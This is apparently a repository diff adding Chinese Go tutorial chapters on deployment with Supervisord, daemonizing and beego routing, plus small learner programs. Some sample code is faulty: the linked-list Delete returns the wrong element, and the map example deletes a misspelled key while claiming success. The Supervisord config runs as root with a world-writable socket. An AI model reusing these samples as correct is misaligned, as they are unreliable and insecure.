本小节总结了当我们的Web应用部署之后如何处理各种错误:网络错误、数据库错误、操作系统错误等,当错误发生时,我们的程序如何来正确处理:显示友好的出错界面、回滚操作、记录日志、通知管理员等操作,最后介绍了如何来正确处理错误和异常。一般的程序中错误和异常很容易混淆的,但是在Go中错误和异常是有明显的区分,所以告诉我们在程序设计中处理错误和异常应该遵循怎么样的原则。 |
|||
## links |
|||
* [目录](<preface.md>) |
|||
* 上一章: [应用日志](<12.1.md>) |
|||
* 下一节: [应用部署](<12.3.md>) |
|||
<!-- {% endraw %} --> |
@ -0,0 +1,189 @@ |
|||
# 12.3 应用部署 |
|||
程序开发完毕之后,我们现在要部署Web应用程序了,但是我们如何来部署这些应用程序呢?因为Go程序编译之后是一个可执行文件,编写过C程序的读者一定知道采用daemon就可以完美的实现程序后台持续运行,但是目前Go还无法完美的实现daemon,因此,针对Go的应用程序部署,我们可以利用第三方工具来管理,第三方的工具有很多,例如Supervisord、upstart、daemontools等,这小节我介绍目前自己系统中采用的工具Supervisord。 |
|||
## daemon |
|||
目前Go程序还不能实现daemon,详细的见这个Go语言的bug:<`http://code.google.com/p/go/issues/detail?id=227`>,大概的意思说很难从现有的使用的线程中fork一个出来,因为没有一种简单的方法来确保所有已经使用的线程的状态一致性问题。 |
|||
|
|||
但是我们可以看到很多网上的一些实现daemon的方法,例如下面两种方式: |
|||
|
|||
- MarGo的一个实现思路,使用Command来执行自身的应用,如果真想实现,那么推荐这种方案 |
|||
|
|||
```Go |
|||
|
|||
d := flag.Bool("d", false, "Whether or not to launch in the background(like a daemon)") |
|||
if *d { |
|||
cmd := exec.Command(os.Args[0], |
|||
"-close-fds", |
|||
"-addr", *addr, |
|||
"-call", *call, |
|||
) |
|||
serr, err := cmd.StderrPipe() |
|||
if err != nil { |
|||
log.Fatalln(err) |
|||
} |
|||
err = cmd.Start() |
|||
if err != nil { |
|||
log.Fatalln(err) |
|||
} |
|||
s, err := ioutil.ReadAll(serr) |
|||
s = bytes.TrimSpace(s) |
|||
if bytes.HasPrefix(s, []byte("addr: ")) { |
|||
fmt.Println(string(s)) |
|||
cmd.Process.Release() |
|||
} else { |
|||
log.Printf("unexpected response from MarGo: `%s` error: `%v`\n", s, err) |
|||
cmd.Process.Kill() |
|||
} |
|||
} |
|||
``` |
|||
|
|||
- 另一种是利用syscall的方案,但是这个方案并不完善: |
|||
```Go |
|||
|
|||
package main |
|||
|
|||
import ( |
|||
"log" |
|||
"os" |
|||
"syscall" |
|||
) |
|||
|
|||
func daemon(nochdir, noclose int) int { |
|||
var ret, ret2 uintptr |
|||
var err uintptr |
|||
|
|||
darwin := syscall.OS == "darwin" |
|||
|
|||
// already a daemon |
|||
if syscall.Getppid() == 1 { |
|||
return 0 |
|||
} |
|||
|
|||
// fork off the parent process |
|||
ret, ret2, err = syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0) |
|||
if err != 0 { |
|||
return -1 |
|||
} |
|||
|
|||
// failure |
|||
if ret2 < 0 { |
|||
os.Exit(-1) |
|||
} |
|||
|
|||
// handle exception for darwin |
|||
if darwin && ret2 == 1 { |
|||
ret = 0 |
|||
} |
|||
|
|||
// if we got a good PID, then we call exit the parent process. |
|||
if ret > 0 { |
|||
os.Exit(0) |
|||
} |
|||
|
|||
/* Change the file mode mask */ |
|||
_ = syscall.Umask(0) |
|||
|
|||
// create a new SID for the child process |
|||
s_ret, s_errno := syscall.Setsid() |
|||
if s_errno != 0 { |
|||
log.Printf("Error: syscall.Setsid errno: %d", s_errno) |
|||
} |
|||
if s_ret < 0 { |
|||
return -1 |
|||
} |
|||
|
|||
if nochdir == 0 { |
|||
os.Chdir("/") |
|||
} |
|||
|
|||
if noclose == 0 { |
|||
f, e := os.OpenFile("/dev/null", os.O_RDWR, 0) |
|||
if e == nil { |
|||
fd := f.Fd() |
|||
syscall.Dup2(fd, os.Stdin.Fd()) |
|||
syscall.Dup2(fd, os.Stdout.Fd()) |
|||
syscall.Dup2(fd, os.Stderr.Fd()) |
|||
} |
|||
} |
|||
|
|||
return 0 |
|||
} |
|||
``` |
|||
|
|||
上面提出了两种实现Go的daemon方案,但是我还是不推荐大家这样去实现,因为官方还没有正式的宣布支持daemon,当然第一种方案目前来看是比较可行的,而且目前开源库skynet也在采用这个方案做daemon。 |
|||
|
|||
## Supervisord |
|||
上面已经介绍了Go目前是有两种方案来实现他的daemon,但是官方本身还不支持这一块,所以还是建议大家采用第三方成熟工具来管理我们的应用程序,这里我给大家介绍一款目前使用比较广泛的进程管理软件:Supervisord。Supervisord是用Python实现的一款非常实用的进程管理工具。supervisord会帮你把管理的应用程序转成daemon程序,而且可以方便的通过命令开启、关闭、重启等操作,而且它管理的进程一旦崩溃会自动重启,这样就可以保证程序执行中断后的情况下有自我修复的功能。 |
|||
|
|||
>我前面在应用中踩过一个坑,就是因为所有的应用程序都是由Supervisord父进程生出来的,那么当你修改了操作系统的文件描述符之后,别忘记重启Supervisord,光重启下面的应用程序没用。当初我就是系统安装好之后就先装了Supervisord,然后开始部署程序,修改文件描述符,重启程序,以为文件描述符已经是100000了,其实Supervisord这个时候还是默认的1024个,导致他管理的进程所有的描述符也是1024.开放之后压力一上来系统就开始报文件描述符用光了,查了很久才找到这个坑。 |
|||
|
|||
### Supervisord安装 |
|||
Supervisord可以通过`sudo easy_install supervisor`安装,当然也可以通过Supervisord官网下载后解压并转到源码所在的文件夹下执行`setup.py install`来安装。 |
|||
|
|||
- 使用easy_install必须安装setuptools |
|||
|
|||
打开`http://pypi.python.org/pypi/setuptools#files`,根据你系统的python的版本下载相应的文件,然后执行`sh setuptoolsxxxx.egg`,这样就可以使用easy_install命令来安装Supervisord。 |
|||
|
|||
### Supervisord配置 |
|||
Supervisord默认的配置文件路径为/etc/supervisord.conf,通过文本编辑器修改这个文件,下面是一个示例的配置文件: |
|||
|
|||
```conf |
|||
|
|||
;/etc/supervisord.conf |
|||
[unix_http_server] |
|||
file = /var/run/supervisord.sock |
|||
chmod = 0777 |
|||
chown= root:root |
|||
|
|||
[inet_http_server] |
|||
# Web管理界面设定 |
|||
port=9001 |
|||
username = admin |
|||
password = yourpassword |
|||
|
|||
[supervisorctl] |
|||
; 必须和'unix_http_server'里面的设定匹配 |
|||
serverurl = unix:///var/run/supervisord.sock |
|||
|
|||
[supervisord] |
|||
logfile=/var/log/supervisord/supervisord.log ; (main log file;default $CWD/supervisord.log) |
|||
logfile_maxbytes=50MB ; (max main logfile bytes b4 rotation;default 50MB) |
|||
logfile_backups=10 ; (num of main logfile rotation backups;default 10) |
|||
loglevel=info ; (log level;default info; others: debug,warn,trace) |
|||
pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default supervisord.pid) |
|||
nodaemon=true ; (start in foreground if true;default false) |
|||
minfds=1024 ; (min. avail startup file descriptors;default 1024) |
|||
minprocs=200 ; (min. avail process descriptors;default 200) |
|||
user=root ; (default is current user, required if root) |
|||
childlogdir=/var/log/supervisord/ ; ('AUTO' child log dir, default $TEMP) |
|||
|
|||
[rpcinterface:supervisor] |
|||
supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface |
|||
|
|||
; 管理的单个进程的配置,可以添加多个program |
|||
[program:blogdemon] |
|||
command=/data/blog/blogdemon |
|||
autostart = true |
|||
startsecs = 5 |
|||
user = root |
|||
redirect_stderr = true |
|||
stdout_logfile = /var/log/supervisord/blogdemon.log |
|||
|
|||
``` |
|||
### Supervisord管理 |
|||
Supervisord安装完成后有两个可用的命令行supervisor和supervisorctl,命令使用解释如下: |
|||
|
|||
- supervisord,初始启动Supervisord,启动、管理配置中设置的进程。 |
|||
- supervisorctl stop programxxx,停止某一个进程(programxxx),programxxx为[program:blogdemon]里配置的值,这个示例就是blogdemon。 |
|||
- supervisorctl start programxxx,启动某个进程 |
|||
- supervisorctl restart programxxx,重启某个进程 |
|||
- supervisorctl stop all,停止全部进程,注:start、restart、stop都不会载入最新的配置文件。 |
|||
- supervisorctl reload,载入最新的配置文件,并按新的配置启动、管理所有进程。 |
|||
|
|||
## 小结 |
|||
这小节我们介绍了Go如何实现daemon化,但是由于目前Go的daemon实现的不足,需要依靠第三方工具来实现应用程序的daemon管理的方式,所以在这里介绍了一个用python写的进程管理工具Supervisord,通过Supervisord可以很方便的把我们的Go应用程序管理起来。 |
|||
|
|||
|
|||
## links |
|||
* [目录](<preface.md>) |
|||
* 上一章: [网站错误处理](<12.2.md>) |
|||
* 下一节: [备份和恢复](<12.4.md>) |
@ -0,0 +1,18 @@ |
|||
# 12.5 小结 |
|||
本章讨论了如何部署和维护我们开发的Web应用相关的一些话题。这些内容非常重要,要创建一个能够基于最小维护平滑运行的应用,必须考虑这些问题。 |
|||
|
|||
具体而言,本章讨论的内容包括: |
|||
|
|||
- 创建一个强健的日志系统,可以在出现问题时记录错误并且通知系统管理员 |
|||
- 处理运行时可能出现的错误,包括记录日志,并如何友好的显示给用户系统出现了问题 |
|||
- 处理404错误,告诉用户请求的页面找不到 |
|||
- 将应用部署到一个生产环境中(包括如何部署更新) |
|||
- 如何让部署的应用程序具有高可用 |
|||
- 备份和恢复文件以及数据库 |
|||
|
|||
读完本章内容后,对于从头开始开发一个Web应用需要考虑那些问题,你应该已经有了全面的了解。本章内容将有助于你在实际环境中管理前面各章介绍开发的代码。 |
|||
|
|||
## links |
|||
* [目录](<preface.md>) |
|||
* 上一章: [备份和恢复](<12.4.md>) |
|||
* 下一节: [如何设计一个Web框架](<13.0.md>) |
@ -0,0 +1,12 @@ |
|||
# 13 如何设计一个Web框架 |
|||
前面十二章介绍了如何通过Go来开发Web应用,介绍了很多基础知识、开发工具和开发技巧,那么我们这一章通过这些知识来实现一个简易的Web框架。通过Go语言来实现一个完整的框架设计,这框架中主要内容有第一小节介绍的Web框架的结构规划,例如采用MVC模式来进行开发,程序的执行流程设计等内容;第二小节介绍框架的第一个功能:路由,如何让访问的URL映射到相应的处理逻辑;第三小节介绍处理逻辑,如何设计一个公共的controller,对象继承之后处理函数中如何处理response和request;第四小节介绍框架的一些辅助功能,例如日志处理、配置信息等;第五小节介绍如何基于Web框架实现一个博客,包括博文的发表、修改、删除、显示列表等操作。 |
|||
|
|||
通过这么一个完整的项目例子,我期望能够让读者了解如何开发Web应用,如何搭建自己的目录结构,如何实现路由,如何实现MVC模式等各方面的开发内容。在框架盛行的今天,MVC也不再是神话。经常听到很多程序员讨论哪个框架好,哪个框架不好, 其实框架只是工具,没有好与不好,只有适合与不适合,适合自己的就是最好的,所以教会大家自己动手写框架,那么不同的需求都可以用自己的思路去实现。 |
|||
|
|||
## 目录 |
|||
![](images/navi13.png?raw=true) |
|||
|
|||
## links |
|||
* [目录](<preface.md>) |
|||
* 上一章: [第十二章总结](<12.5.md>) |
|||
* 下一节: [项目规划](<13.1.md>) |
@ -0,0 +1,53 @@ |
|||
# 13.1 项目规划 |
|||
做任何事情都需要做好规划,那么我们在开发博客系统之前,同样需要做好项目的规划,如何设置目录结构,如何理解整个项目的流程图,当我们理解了应用的执行过程,那么接下来的设计编码就会变得相对容易了 |
|||
## gopath以及项目设置 |
|||
假设指定gopath是文件系统的普通目录名,当然我们可以随便设置一个目录名,然后将其路径存入GOPATH。前面介绍过GOPATH可以是多个目录:在window系统设置环境变量;在linux/MacOS系统只要输入终端命令`export gopath=/home/astaxie/gopath`,但是必须保证gopath这个代码目录下面有三个目录pkg、bin、src。新建项目的源码放在src目录下面,现在暂定我们的博客目录叫做beeblog,下面是在window下的环境变量和目录结构的截图: |
|||
|
|||
![](images/13.1.gopath.png?raw=true) |
|||
|
|||
图13.1 环境变量GOPATH设置 |
|||
|
|||
![](images/13.1.gopath2.png?raw=true) |
|||
|
|||
图13.2 工作目录在$gopath/src下 |
|||
|
|||
## 应用程序流程图 |
|||
博客系统是基于模型-视图-控制器这一设计模式的。MVC是一种将应用程序的逻辑层和表现层进行分离的结构方式。在实践中,由于表现层从Go中分离了出来,所以它允许你的网页中只包含很少的脚本。 |
|||
|
|||
- 模型 (Model) 代表数据结构。通常来说,模型类将包含取出、插入、更新数据库资料等这些功能。 |
|||
- 视图 (View) 是展示给用户的信息的结构及样式。一个视图通常是一个网页,但是在Go中,一个视图也可以是一个页面片段,如页头、页尾。它还可以是一个 RSS 页面,或其它类型的“页面”,Go实现的template包已经很好的实现了View层中的部分功能。 |
|||
- 控制器 (Controller) 是模型、视图以及其他任何处理HTTP请求所必须的资源之间的中介,并生成网页。 |
|||
|
|||
下图显示了项目设计中框架的数据流是如何贯穿整个系统: |
|||
|
|||
![](images/13.1.flow.png?raw=true) |
|||
|
|||
图13.3 框架的数据流 |
|||
|
|||
1. main.go作为应用入口,初始化一些运行博客所需要的基本资源,配置信息,监听端口。 |
|||
2. 路由功能检查HTTP请求,根据URL以及method来确定谁(控制层)来处理请求的转发资源。 |
|||
3. 如果缓存文件存在,它将绕过通常的流程执行,被直接发送给浏览器。 |
|||
4. 安全检测:应用程序控制器调用之前,HTTP请求和任一用户提交的数据将被过滤。 |
|||
5. 控制器装载模型、核心库、辅助函数,以及任何处理特定请求所需的其它资源,控制器主要负责处理业务逻辑。 |
|||
6. 输出视图层中渲染好的即将发送到Web浏览器中的内容。如果开启缓存,视图首先被缓存,将用于以后的常规请求。 |
|||
|
|||
## 目录结构 |
|||
根据上面的应用程序流程设计,博客的目录结构设计如下: |
|||
|
|||
|——main.go 入口文件 |
|||
|——conf 配置文件和处理模块 |
|||
|——controllers 控制器入口 |
|||
|——models 数据库处理模块 |
|||
|——utils 辅助函数库 |
|||
|——static 静态文件目录 |
|||
|——views 视图库 |
|||
|
|||
## 框架设计 |
|||
为了实现博客的快速搭建,打算基于上面的流程设计开发一个最小化的框架,框架包括路由功能、支持REST的控制器、自动化的模板渲染,日志系统、配置管理等。 |
|||
|
|||
## 总结 |
|||
本小节介绍了博客系统从设置GOPATH到目录建立这样的基础信息,也简单介绍了框架结构采用的MVC模式,博客系统中数据流的执行流程,最后通过这些流程设计了博客系统的目录结构,至此,我们基本完成一个框架的搭建,接下来的几个小节我们将会逐个实现。 |
|||
## links |
|||
* [目录](<preface.md>) |
|||
* 上一章: [构建博客系统](<13.0.md>) |
|||
* 下一节: [自定义路由器设计](<13.2.md>) |
@ -0,0 +1,276 @@ |
|||
# 13.2 自定义路由器设计 |
|||
|
|||
## HTTP路由 |
|||
HTTP路由组件负责将HTTP请求交到对应的函数处理(或者是一个struct的方法),如前面小节所描述的结构图,路由在框架中相当于一个事件处理器,而这个事件包括: |
|||
|
|||
- 用户请求的路径(path)(例如:/user/123,/article/123),当然还有查询串信息(例如?id=11) |
|||
- HTTP的请求方法(method)(GET、POST、PUT、DELETE、PATCH等) |
|||
|
|||
路由器就是根据用户请求的事件信息转发到相应的处理函数(控制层)。 |
|||
## 默认的路由实现 |
|||
在3.4小节有过介绍Go的http包的详解,里面介绍了Go的http包如何设计和实现路由,这里继续以一个例子来说明: |
|||
```Go |
|||
|
|||
func fooHandler(w http.ResponseWriter, r *http.Request) { |
|||
fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path)) |
|||
} |
|||
|
|||
http.HandleFunc("/foo", fooHandler) |
|||
|
|||
http.HandleFunc("/bar", func(w http.ResponseWriter, r *http.Request) { |
|||
fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path)) |
|||
}) |
|||
|
|||
log.Fatal(http.ListenAndServe(":8080", nil)) |
|||
|
|||
``` |
|||
上面的例子调用了http默认的DefaultServeMux来添加路由,需要提供两个参数,第一个参数是希望用户访问此资源的URL路径(保存在r.URL.Path),第二参数是即将要执行的函数,以提供用户访问的资源。路由的思路主要集中在两点: |
|||
|
|||
- 添加路由信息 |
|||
- 根据用户请求转发到要执行的函数 |
|||
|
|||
Go默认的路由添加是通过函数`http.Handle`和`http.HandleFunc`等来添加,底层都是调用了`DefaultServeMux.Handle(pattern string, handler Handler)`,这个函数会把路由信息存储在一个map信息中`map[string]muxEntry`,这就解决了上面说的第一点。 |
|||
|
|||
Go监听端口,然后接收到tcp连接会扔给Handler来处理,上面的例子默认nil即为`http.DefaultServeMux`,通过`DefaultServeMux.ServeHTTP`函数来进行调度,遍历之前存储的map路由信息,和用户访问的URL进行匹配,以查询对应注册的处理函数,这样就实现了上面所说的第二点。 |
|||
```Go |
|||
|
|||
for k, v := range mux.m { |
|||
if !pathMatch(k, path) { |
|||
continue |
|||
} |
|||
if h == nil || len(k) > n { |
|||
n = len(k) |
|||
h = v.h |
|||
} |
|||
} |
|||
``` |
|||
|
|||
## beego框架路由实现 |
|||
目前几乎所有的Web应用路由实现都是基于http默认的路由器,但是Go自带的路由器有几个限制: |
|||
|
|||
- 不支持参数设定,例如/user/:uid 这种泛类型匹配 |
|||
- 无法很好的支持REST模式,无法限制访问的方法,例如上面的例子中,用户访问/foo,可以用GET、POST、DELETE、HEAD等方式访问 |
|||
- 一般网站的路由规则太多了,编写繁琐。我前面自己开发了一个API应用,路由规则有三十几条,这种路由多了之后其实可以进一步简化,通过struct的方法进行一种简化 |
|||
|
|||
beego框架的路由器基于上面的几点限制考虑设计了一种REST方式的路由实现,路由设计也是基于上面Go默认设计的两点来考虑:存储路由和转发路由 |
|||
|
|||
### 存储路由 |
|||
针对前面所说的限制点,我们首先要解决参数支持就需要用到正则,第二和第三点我们通过一种变通的方法来解决,REST的方法对应到struct的方法中去,然后路由到struct而不是函数,这样在转发路由的时候就可以根据method来执行不同的方法。 |
|||
|
|||
根据上面的思路,我们设计了两个数据类型controllerInfo(保存路径和对应的struct,这里是一个reflect.Type类型)和ControllerRegistor(routers是一个slice用来保存用户添加的路由信息,以及beego框架的应用信息) |
|||
```Go |
|||
|
|||
type controllerInfo struct { |
|||
regex *regexp.Regexp |
|||
params map[int]string |
|||
controllerType reflect.Type |
|||
} |
|||
|
|||
type ControllerRegistor struct { |
|||
routers []*controllerInfo |
|||
Application *App |
|||
} |
|||
|
|||
``` |
|||
ControllerRegistor对外的接口函数有 |
|||
```Go |
|||
|
|||
func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) |
|||
``` |
|||
详细的实现如下所示: |
|||
```Go |
|||
|
|||
func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) { |
|||
parts := strings.Split(pattern, "/") |
|||
|
|||
j := 0 |
|||
params := make(map[int]string) |
|||
for i, part := range parts { |
|||
if strings.HasPrefix(part, ":") { |
|||
expr := "([^/]+)" |
|||
|
|||
//a user may choose to override the defult expression |
|||
// similar to expressjs: ‘/user/:id([0-9]+)’ |
|||
|
|||
if index := strings.Index(part, "("); index != -1 { |
|||
expr = part[index:] |
|||
part = part[:index] |
|||
} |
|||
params[j] = part |
|||
parts[i] = expr |
|||
j++ |
|||
} |
|||
} |
|||
|
|||
//recreate the url pattern, with parameters replaced |
|||
//by regular expressions. then compile the regex |
|||
|
|||
pattern = strings.Join(parts, "/") |
|||
regex, regexErr := regexp.Compile(pattern) |
|||
if regexErr != nil { |
|||
|
|||
//TODO add error handling here to avoid panic |
|||
panic(regexErr) |
|||
return |
|||
} |
|||
|
|||
//now create the Route |
|||
t := reflect.Indirect(reflect.ValueOf(c)).Type() |
|||
route := &controllerInfo{} |
|||
route.regex = regex |
|||
route.params = params |
|||
route.controllerType = t |
|||
|
|||
p.routers = append(p.routers, route) |
|||
|
|||
} |
|||
``` |
|||
### 静态路由实现 |
|||
上面我们实现的动态路由的实现,Go的http包默认支持静态文件处理FileServer,由于我们实现了自定义的路由器,那么静态文件也需要自己设定,beego的静态文件夹路径保存在全局变量StaticDir中,StaticDir是一个map类型,实现如下: |
|||
```Go |
|||
|
|||
func (app *App) SetStaticPath(url string, path string) *App { |
|||
StaticDir[url] = path |
|||
return app |
|||
} |
|||
``` |
|||
应用中设置静态路径可以使用如下方式实现: |
|||
```Go |
|||
|
|||
beego.SetStaticPath("/img","/static/img") |
|||
|
|||
``` |
|||
### 转发路由 |
|||
转发路由是基于ControllerRegistor里的路由信息来进行转发的,详细的实现如下代码所示: |
|||
```Go |
|||
|
|||
// AutoRoute |
|||
func (p *ControllerRegistor) ServeHTTP(w http.ResponseWriter, r *http.Request) { |
|||
defer func() { |
|||
if err := recover(); err != nil { |
|||
if !RecoverPanic { |
|||
// go back to panic |
|||
panic(err) |
|||
} else { |
|||
Critical("Handler crashed with error", err) |
|||
for i := 1; ; i += 1 { |
|||
_, file, line, ok := runtime.Caller(i) |
|||
if !ok { |
|||
break |
|||
} |
|||
Critical(file, line) |
|||
} |
|||
} |
|||
} |
|||
}() |
|||
var started bool |
|||
for prefix, staticDir := range StaticDir { |
|||
if strings.HasPrefix(r.URL.Path, prefix) { |
|||
file := staticDir + r.URL.Path[len(prefix):] |
|||
http.ServeFile(w, r, file) |
|||
started = true |
|||
return |
|||
} |
|||
} |
|||
requestPath := r.URL.Path |
|||
|
|||
//find a matching Route |
|||
for _, route := range p.routers { |
|||
|
|||
//check if Route pattern matches url |
|||
if !route.regex.MatchString(requestPath) { |
|||
continue |
|||
} |
|||
|
|||
//get submatches (params) |
|||
matches := route.regex.FindStringSubmatch(requestPath) |
|||
|
|||
//double check that the Route matches the URL pattern. |
|||
if len(matches[0]) != len(requestPath) { |
|||
continue |
|||
} |
|||
|
|||
params := make(map[string]string) |
|||
if len(route.params) > 0 { |
|||
//add url parameters to the query param map |
|||
values := r.URL.Query() |
|||
for i, match := range matches[1:] { |
|||
values.Add(route.params[i], match) |
|||
params[route.params[i]] = match |
|||
} |
|||
|
|||
//reassemble query params and add to RawQuery |
|||
r.URL.RawQuery = url.Values(values).Encode() + "&" + r.URL.RawQuery |
|||
//r.URL.RawQuery = url.Values(values).Encode() |
|||
} |
|||
//Invoke the request handler |
|||
vc := reflect.New(route.controllerType) |
|||
init := vc.MethodByName("Init") |
|||
in := make([]reflect.Value, 2) |
|||
ct := &Context{ResponseWriter: w, Request: r, Params: params} |
|||
in[0] = reflect.ValueOf(ct) |
|||
in[1] = reflect.ValueOf(route.controllerType.Name()) |
|||
init.Call(in) |
|||
in = make([]reflect.Value, 0) |
|||
method := vc.MethodByName("Prepare") |
|||
method.Call(in) |
|||
if r.Method == "GET" { |
|||
method = vc.MethodByName("Get") |
|||
method.Call(in) |
|||
} else if r.Method == "POST" { |
|||
method = vc.MethodByName("Post") |
|||
method.Call(in) |
|||
} else if r.Method == "HEAD" { |
|||
method = vc.MethodByName("Head") |
|||
method.Call(in) |
|||
} else if r.Method == "DELETE" { |
|||
method = vc.MethodByName("Delete") |
|||
method.Call(in) |
|||
} else if r.Method == "PUT" { |
|||
method = vc.MethodByName("Put") |
|||
method.Call(in) |
|||
} else if r.Method == "PATCH" { |
|||
method = vc.MethodByName("Patch") |
|||
method.Call(in) |
|||
} else if r.Method == "OPTIONS" { |
|||
method = vc.MethodByName("Options") |
|||
method.Call(in) |
|||
} |
|||
if AutoRender { |
|||
method = vc.MethodByName("Render") |
|||
method.Call(in) |
|||
} |
|||
method = vc.MethodByName("Finish") |
|||
method.Call(in) |
|||
started = true |
|||
break |
|||
} |
|||
|
|||
//if no matches to url, throw a not found exception |
|||
if started == false { |
|||
http.NotFound(w, r) |
|||
} |
|||
} |
|||
``` |
|||
### 使用入门 |
|||
基于这样的路由设计之后就可以解决前面所说的三个限制点,使用的方式如下所示: |
|||
|
|||
基本的使用注册路由: |
|||
```Go |
|||
|
|||
beego.BeeApp.RegisterController("/", &controllers.MainController{}) |
|||
``` |
|||
参数注册: |
|||
```Go |
|||
|
|||
beego.BeeApp.RegisterController("/:param", &controllers.UserController{}) |
|||
``` |
|||
正则匹配: |
|||
```Go |
|||
|
|||
beego.BeeApp.RegisterController("/users/:uid([0-9]+)", &controllers.UserController{}) |
|||
``` |
|||
## links |
|||
* [目录](<preface.md>) |
|||
* 上一章: [项目规划](<13.1.md>) |
|||
* 下一节: [controller设计](<13.3.md>) |
After Width: | Height: | Size: 17 KiB |
After Width: | Height: | Size: 34 KiB |
After Width: | Height: | Size: 14 KiB |
After Width: | Height: | Size: 34 KiB |
After Width: | Height: | Size: 17 KiB |
After Width: | Height: | Size: 14 KiB |
After Width: | Height: | Size: 2.0 KiB |
After Width: | Height: | Size: 149 KiB |
After Width: | Height: | Size: 16 KiB |
After Width: | Height: | Size: 268 KiB |
After Width: | Height: | Size: 22 KiB |
After Width: | Height: | Size: 11 KiB |
After Width: | Height: | Size: 144 KiB |
After Width: | Height: | Size: 71 KiB |
@ -0,0 +1,34 @@ |
|||
package main |
|||
|
|||
import "fmt" |
|||
|
|||
func main() { |
|||
fmt.Println("\n ================== 集合初始化 = 开始 ================== ") |
|||
var countryCapitalMap map[string]string /*创建集合 */ |
|||
countryCapitalMap = make(map[string]string) |
|||
|
|||
/* map插入key - value对,各个国家对应的首都 */ |
|||
countryCapitalMap["France"] = "巴黎" |
|||
countryCapitalMap["Italy"] = "罗马" |
|||
countryCapitalMap["Japan"] = "东京" |
|||
countryCapitalMap["India "] = "新德里" |
|||
|
|||
/*使用键输出地图值 */ |
|||
for country := range countryCapitalMap { |
|||
fmt.Println(country, "首都是", countryCapitalMap[country]) |
|||
} |
|||
|
|||
/*查看元素在集合中是否存在 */ |
|||
capital, ok := countryCapitalMap["American"] /*如果确定是真实的,则存在,否则不存在 */ |
|||
if ok { |
|||
fmt.Println("American 的首都是", capital) |
|||
} else { |
|||
fmt.Println("American 的首都不存在") |
|||
} |
|||
|
|||
fmt.Println("\n ================== 集合函数 = 开始 ================== ") |
|||
|
|||
/*删除元素*/ |
|||
delete(countryCapitalMap, "Frances") |
|||
fmt.Println("法国条目被删除") |
|||
} |
@ -0,0 +1,49 @@ |
|||
package main |
|||
|
|||
import "fmt" |
|||
|
|||
/** |
|||
定义接口 |
|||
*/ |
|||
type TypeCalculator interface { |
|||
//实现方法
|
|||
TypeCal() string |
|||
} |
|||
|
|||
/** |
|||
定义结构体 |
|||
*/ |
|||
type Worker struct { |
|||
Type int |
|||
Name string |
|||
} |
|||
|
|||
type Student struct { |
|||
Name string |
|||
} |
|||
|
|||
/** |
|||
指定某结构体 实现TypeCalculator接口的方法 |
|||
*/ |
|||
func (w Worker) TypeCal() string { |
|||
if w.Type == 0 { |
|||
return w.Name + "是这个12345!" |
|||
} else { |
|||
return w.Name + "I'm here!" |
|||
} |
|||
} |
|||
|
|||
func (s Student) TypeCal() string { |
|||
return s.Name + "你好!" |
|||
} |
|||
|
|||
func main() { |
|||
fmt.Println("关于接口的测试") |
|||
|
|||
worker := Worker{Type: 0, Name: "zhangxw"} |
|||
student := Student{Name: "duxf"} |
|||
workers := []TypeCalculator{worker, student} |
|||
for _, value := range workers { |
|||
fmt.Println(value.TypeCal()) |
|||
} |
|||
} |
@ -0,0 +1,158 @@ |
|||
package main |
|||
|
|||
//链表实现
|
|||
import ( |
|||
"fmt" |
|||
"os" |
|||
) |
|||
|
|||
//定义错误常量
|
|||
const ( |
|||
ERROR = -1000000001 |
|||
) |
|||
|
|||
//定义元素类型
|
|||
type Element int64 |
|||
|
|||
//定义节点
|
|||
type LinkNode struct { |
|||
Data Element //数据域
|
|||
Nest *LinkNode //指针域,指向下一个节点
|
|||
} |
|||
|
|||
//函数接口
|
|||
type LinkNoder interface { |
|||
Add(head *LinkNode, new *LinkNode) //后面添加
|
|||
Delete(head *LinkNode, index int) //删除指定index位置元素
|
|||
Insert(head *LinkNode, index int, data Element) //在指定index位置插入元素
|
|||
GetLength(head *LinkNode) int //获取长度
|
|||
Search(head *LinkNode, data Element) //查询元素的位置
|
|||
GetData(head *LinkNode, index int) Element //获取指定index位置的元素
|
|||
} |
|||
|
|||
//添加 头结点,数据
|
|||
func Add(head *LinkNode, data Element) { |
|||
point := head //临时指针
|
|||
for point.Nest != nil { |
|||
point = point.Nest //移位
|
|||
} |
|||
var node LinkNode //新节点
|
|||
point.Nest = &node //赋值
|
|||
node.Data = data |
|||
|
|||
head.Data = Element(GetLength(head)) //打印全部的数据
|
|||
|
|||
if GetLength(head) > 1 { |
|||
Traverse(head) |
|||
} |
|||
|
|||
} |
|||
|
|||
//删除 头结点 index 位置
|
|||
func Delete(head *LinkNode, index int) Element { |
|||
//判断index合法性
|
|||
if index < 0 || index > GetLength(head) { |
|||
fmt.Println("please check index") |
|||
return ERROR |
|||
} else { |
|||
point := head |
|||
for i := 0; i < index-1; i++ { |
|||
point = point.Nest //移位
|
|||
} |
|||
point.Nest = point.Nest.Nest //赋值
|
|||
data := point.Nest.Data |
|||
return data |
|||
} |
|||
} |
|||
|
|||
//插入 头结点 index位置 data元素
|
|||
func Insert(head *LinkNode, index int, data Element) { |
|||
//检验index合法性
|
|||
if index < 0 || index > GetLength(head) { |
|||
fmt.Println("please check index") |
|||
} else { |
|||
point := head |
|||
for i := 0; i < index-1; i++ { |
|||
point = point.Nest //移位
|
|||
} |
|||
var node LinkNode //新节点,赋值
|
|||
node.Data = data |
|||
node.Nest = point.Nest |
|||
point.Nest = &node |
|||
} |
|||
} |
|||
|
|||
//获取长度 头结点
|
|||
func GetLength(head *LinkNode) int { |
|||
point := head |
|||
var length int |
|||
for point.Nest != nil { |
|||
length++ |
|||
point = point.Nest |
|||
} |
|||
return length |
|||
} |
|||
|
|||
//搜索 头结点 data元素
|
|||
func Search(head *LinkNode, data Element) { |
|||
point := head |
|||
index := 0 |
|||
for point.Nest != nil { |
|||
if point.Data == data { |
|||
fmt.Println(data, "exist at", index, "th") |
|||
break |
|||
} else { |
|||
index++ |
|||
point = point.Nest |
|||
if index > GetLength(head)-1 { |
|||
fmt.Println(data, "not exist at") |
|||
break |
|||
} |
|||
continue |
|||
} |
|||
} |
|||
} |
|||
|
|||
//获取data 头结点 index位置
|
|||
func GetData(head *LinkNode, index int) Element { |
|||
point := head |
|||
if index < 0 || index > GetLength(head) { |
|||
fmt.Println("please check index") |
|||
return ERROR |
|||
